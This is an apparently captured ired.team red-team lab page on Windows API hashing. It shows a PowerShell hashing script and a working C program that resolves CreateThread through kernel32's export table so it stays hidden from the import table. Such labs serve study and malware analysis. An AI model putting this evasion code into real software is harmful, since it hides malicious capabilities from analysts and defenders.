www.ired.team Open in urlscan Pro
2606:4700:4400::6812:24e1  Private Scan

Form analysis
0 forms found in the DOM

Text Content

Red Team Notes
linkedintwitterpatreongithub
Search…
⌃K

Links
What is ired.team notes?
Pinned
Pentesting Cheatsheets

Active Directory & Kerberos Abuse

offensive security
Red Team Infrastructure

Initial Access

Code Execution

Code & Process Injection

Defense Evasion

AV Bypass with Metasploit Templates and Custom Binaries
Evading Windows Defender with 1 Byte Change
Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon
Sessions
Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
Windows API Hashing in Malware
Detecting Hooked Syscalls
Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
Retrieving ntdll Syscall Stubs from Disk at Run-time
Full DLL Unhooking with C++
Enumerating RWX Protected Memory Regions for Code Injection
Disabling Windows Event Logs by Suspending EventLog Service Threads
Obfuscated Powershell Invocations
Masquerading Processes in Userland via _PEB
Commandline Obfusaction
File Smuggling with HTML and JavaScript
Timestomping
Alternate Data Streams
Hidden Files
Encode/Decode Data with Certutil
Downloading Files with Certutil
Packed Binaries
Unloading Sysmon Driver
Bypassing IDS Signatures with Simple Reverse Shells
Preventing 3rd Party DLLs from Injecting into your Malware
ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
Parent Process ID (PPID) Spoofing
Executing C# Assemblies from Jscript and wscript with DotNetToJscript

Enumeration and Discovery

Privilege Escalation

Credential Access & Dumping

Lateral Movement

Persistence

Exfiltration

reversing, forensics & misc
Internals

Cloud

Neo4j
Dump Virtual Box Memory
AES Encryption Using Crypto++ .lib in Visual Studio C++
Reversing Password Checking Routine
Powered By GitBook


WINDOWS API HASHING IN MALWARE


Evasion

The purpose of this lab is to get a bit more familiar with API Hashing - a
technique employed by malware developers, that makes malware analysis a bit more
difficult by hiding suspicious imported Windows APIs from the Import Address
Table of the Portable Executable.
API hashing example described in this lab is contrived and hash collisions ar
possible.
OVERVIEW

PROBLEM (FOR MALWARE DEVELOPERS)

If we have a PE with its IAT intact, it's relatively easy to get an idea of what
the PE's capabilities are - i.e. if we see that the binary loads Ws2_32.dll,
it's safe to assume that it contains some networking capabilities, or if we see
a function RegCreateKeyEx being imported, we know that the binary has ability to
modify the registry, etc.
SOLUTION (FOR MALWARE DEVELOPERS)

Malware authors want to make initial PE analysis/triage harder by simply looking
at the IAT, and for this reason they may use API hashing to hide suspicious API
calls from the IAT. This way, when an analyst runs the malicious binary through
the strings utility or opens it in some PE parser, the Windows APIs that malware
developer did not want the analyst to know without deeper analysis, will be
hidden.
Assume we have written some malware called api-hashing.exe that
usesCreateThread:

If we compile the above code and inspect it via a PE parser, we see that there
are 28 imported functions from kernel32 library and CreateThread is one of them:
IAT intact - CreateThread exposed
For some reason, we decide that we do not want malware analysts to know that our
malware will be calling CreateThread just by looking at the binary's IAT/running
strings against the binary. To achieve this, we can employ the API hashing
technique and resolve CreateThread function address at runtime. By doing this,
we can make the CreateThread disappear from the PE's IAT, and this is exactly
the purpose of this lab - to see how this techique works in real life.
THE GOAL

In this lab we're going to write:
1.
A simple powershell script that will calculate a hash for a given function name.
For example, feeding a string CreateThread to the script will spit out its
representation as a hash value, which in our lab, as we will see later, will be
0x00544e304
2.
A simple C program that will resolve CreateThread function's virtual address
inside the api-hashing.exe by iterating through all the exported function names
of kernel32 module (where CreateThread lives), calculating their hashes (using
our hashing algoritm) and comparing them to our hash 0x00544e304 (for
CreateThread). In our case, the program will spit out a virtual address
00007FF89DAFB5A0 as will be seen later.

Visually, the process of what we are going to do looks something like this:

CALCULATING THE HASH

API hashing is simply an arbitrary (that we can make up on our own) function /
algorithm, that calculates a hash value for a given text string.
In our case, we defined the hashing algorithm to work like this:
1.
Take the function name to be hashed (i.e CreateThread)
2.
Convert the string to a char array
3.
Set a variable $hash to any initial value. In our case, we chose 0x35 - no
particular reason - as mentioned earlier, hash calculation can be any arbitrary
algorithm of your choice - as long as we can reliably create hashes without
collisions, meaning that no two different API calls will result in the same hash
value.
4.
Iterate through each character and perform the following arithmetics - hash
calculation
1.
Convert character to a hex representation
2.
Perform the following arithmetics $hash += $hash * 0xab10f29f + $c -band
0xffffff, where:
1.
0xab10f29f is simply another random value of our choice
2.
$c is a hex representation of the character from the function we're hashing
3.
-band 0xffffff is for masking off the high order bits of the hash value

5.
Spit out the hash representation for the string CreateThread

Our hashing function has not been tested for hash collisions and is only meant
to demonstrate the idea behind it. In fact, YoavLevi informed me that this
function indeed causes hash collisions for at least these two APIs: GetStdHandle
0x006426be5 CloseHandle 0x006426be5
$APIsToHash = @("CreateThread")

$APIsToHash | % {
$api = $_

$hash = 0x35
[int]$i = 0

$api.ToCharArray() | % {
$l = $_
$c = [int64]$l
$c = '0x{0:x}' -f $c
$hash += $hash * 0xab10f29f + $c -band 0xffffff
$hashHex = '0x{0:x}' -f $hash
$i++
write-host "Iteration $i : $l : $c : $hashHex"
}
write-host "$api`t $('0x00{0:x}' -f $hash)"
}

If we run the hashing function against the string CreateThread, we get its hash
- 0x00544e304:
CreateThread is hashed to 0x00544e304
We are now ready to move on to the C program that will resolve CreateThread
function address by parsing out the Kernel32 module's Export Address Table and
tell us where CreateThread function is stored in our malicious process's memory,
based on the hash we've just calculated - 0x00544e304.
RESOLVING ADDRESS BY HASH

Our C program will have 2 functions:
getHashFromString - a function that calculates a hash for a given string. This
is an identital function (related to the hash calculation) to the one that we
wrote earlier for hashing our function name CreateThread in Powershell.
On the left is the getHashFromString in our C program and on the right is the
powershell version of the hash calculation algorithm:
API hashing in C and Powershell
getFunctionAddressByHash - this is the function that will take a hash value
(0x00544e304 in our case for CreateThread) as an argument and return function's,
that maps back to that hash, virtual address - 00007FF89DAFB5A0 in our case.
This function at a high level works like this:
1.
Get a base address of the library where our function of interest (CreateThread)
resides, which is - kernel32.dll in our case
2.
Locates kernel32 Export Address Table
3.
Iterates through each exported function name by the kernel32 module
4.
For each exported function name, calculates its hash value using the
getHashFromString
5.
If calculated hash equals 0x00544e304 (CreateThread), calculate function's
virtual address
6.
At this point, we could typedef the CreateThread function prototype, point it to
the resolved address in step 5 and use it for creating new threads, but this
time without CreateThread being shown in our malware PE's Import Address Table!

Below is our aforementioned C program that resolves CreateThread function
address by the hash (0x00544e304):
#include <iostream>
#include <Windows.h>

DWORD getHashFromString(char *string)
{
size_t stringLength = strnlen_s(string, 50);
DWORD hash = 0x35;

for (size_t i = 0; i < stringLength; i++)
{
hash += (hash * 0xab10f29f + string[i]) & 0xffffff;
}
// printf("%s: 0x00%x\n", string, hash);

return hash;
}

PDWORD getFunctionAddressByHash(char *library, DWORD hash)
{
PDWORD functionAddress = (PDWORD)0;

// Get base address of the module in which our exported function of interest
resides (kernel32 in the case of CreateThread)
HMODULE libraryBase = LoadLibraryA(library);

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase +
dosHeader->e_lfanew);

DWORD_PTR exportDirectoryRVA =
imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

PIMAGE_EXPORT_DIRECTORY imageExportDirectory =
(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);

// Get RVAs to exported function related information
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase +
imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase +
imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase +
imageExportDirectory->AddressOfNameOrdinals);

// Iterate through exported functions, calculate their hashes and check if any
of them match our hash of 0x00544e304 (CreateThread)
// If yes, get its virtual memory address (this is where CreateThread function
resides in memory of our process)
for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
{
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
char* functionName = (char*)functionNameVA;
DWORD_PTR functionAddressRVA = 0;

// Calculate hash for this exported function
DWORD functionNameHash = getHashFromString(functionName);

// If hash for CreateThread is found, resolve the function address
if (functionNameHash == hash)
{
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);
printf("%s : 0x%x : %p\n", functionName, functionNameHash, functionAddress);
return functionAddress;
}
}
}

// Define CreateThread function prototype
using customCreateThread = HANDLE(NTAPI*)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

int main()
{
// Resolve CreateThread address by hash
PDWORD functionAddress = getFunctionAddressByHash((char *)"kernel32",
0x00544e304);

// Point CreateThread function pointer to the CreateThread virtual address
resolved by its hash
customCreateThread CreateThread = (customCreateThread)functionAddress;
DWORD tid = 0;

// Call CreateThread
HANDLE th = CreateThread(NULL, NULL, NULL, NULL, NULL, &tid);

return 1;
}

For more information on parsing PE executables, see Parsing PE File Headers with
C++.
If we compile and run the code, we will see the following:

...where from left to right:
1.
CreateThread - function name that was resolved for the given hash 0x00544e304
2.
0x00544e304 - hash that was used to resolve the said CreateThread function name
3.
00007FF89DAFB5A0 - CreateThread virtual memory address inside our
api-hashing.exe process

Below image confirms that 00007FF89DAFB5A0 is indeed pointing to the
CreateThread inside api-hashing.exe:
CreateThread memory address successuflly resolved by the hash
...and more importantly, its IAT is now free from CreateThread:
IAT is tampered with - CreateThread is gone
TESTING IF CREATETHREAD WORKS

Below shows that we can now successfully call CreateThread which was resolved at
run time by hash 0x00544e304 - this is confirmed by the obtained handle 0x84 to
the newly created thread:

Below also shows the thread ID that was created during our CreateThread
invokation:

REFERENCES

API-Hashing in the Sodinokibi/REvil Ransomware &#8211; Why and How?
nullteilerfrei
Previous
Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
Next
Detecting Hooked Syscalls

Last modified 16d ago
Copy link
On this page
Overview
Problem (for Malware Developers)
Solution (for Malware Developers)
The Goal
Calculating the Hash
Resolving Address by Hash
Testing if CreateThread Works
References
Cookies
Reject all
This site uses cookies to deliver its service and to analyse traffic. By
browsing this site, you accept the cookie policy.


What is ired.team notes?
Pinned
Pentesting Cheatsheets

Active Directory & Kerberos Abuse

offensive security
Red Team Infrastructure

Initial Access

Code Execution

Code & Process Injection

Defense Evasion

AV Bypass with Metasploit Templates and Custom Binaries
Evading Windows Defender with 1 Byte Change
Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon
Sessions
Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
Windows API Hashing in Malware
Detecting Hooked Syscalls
Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
Retrieving ntdll Syscall Stubs from Disk at Run-time
Full DLL Unhooking with C++
Enumerating RWX Protected Memory Regions for Code Injection
Disabling Windows Event Logs by Suspending EventLog Service Threads
Obfuscated Powershell Invocations
Masquerading Processes in Userland via _PEB
Commandline Obfusaction
File Smuggling with HTML and JavaScript
Timestomping
Alternate Data Streams
Hidden Files
Encode/Decode Data with Certutil
Downloading Files with Certutil
Packed Binaries
Unloading Sysmon Driver
Bypassing IDS Signatures with Simple Reverse Shells
Preventing 3rd Party DLLs from Injecting into your Malware
ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
Parent Process ID (PPID) Spoofing
Executing C# Assemblies from Jscript and wscript with DotNetToJscript

Enumeration and Discovery

Privilege Escalation

Credential Access & Dumping

Lateral Movement

Persistence

Exfiltration

reversing, forensics & misc
Internals

Cloud

Neo4j
Dump Virtual Box Memory
AES Encryption Using Crypto++ .lib in Visual Studio C++
Reversing Password Checking Routine
Powered By GitBook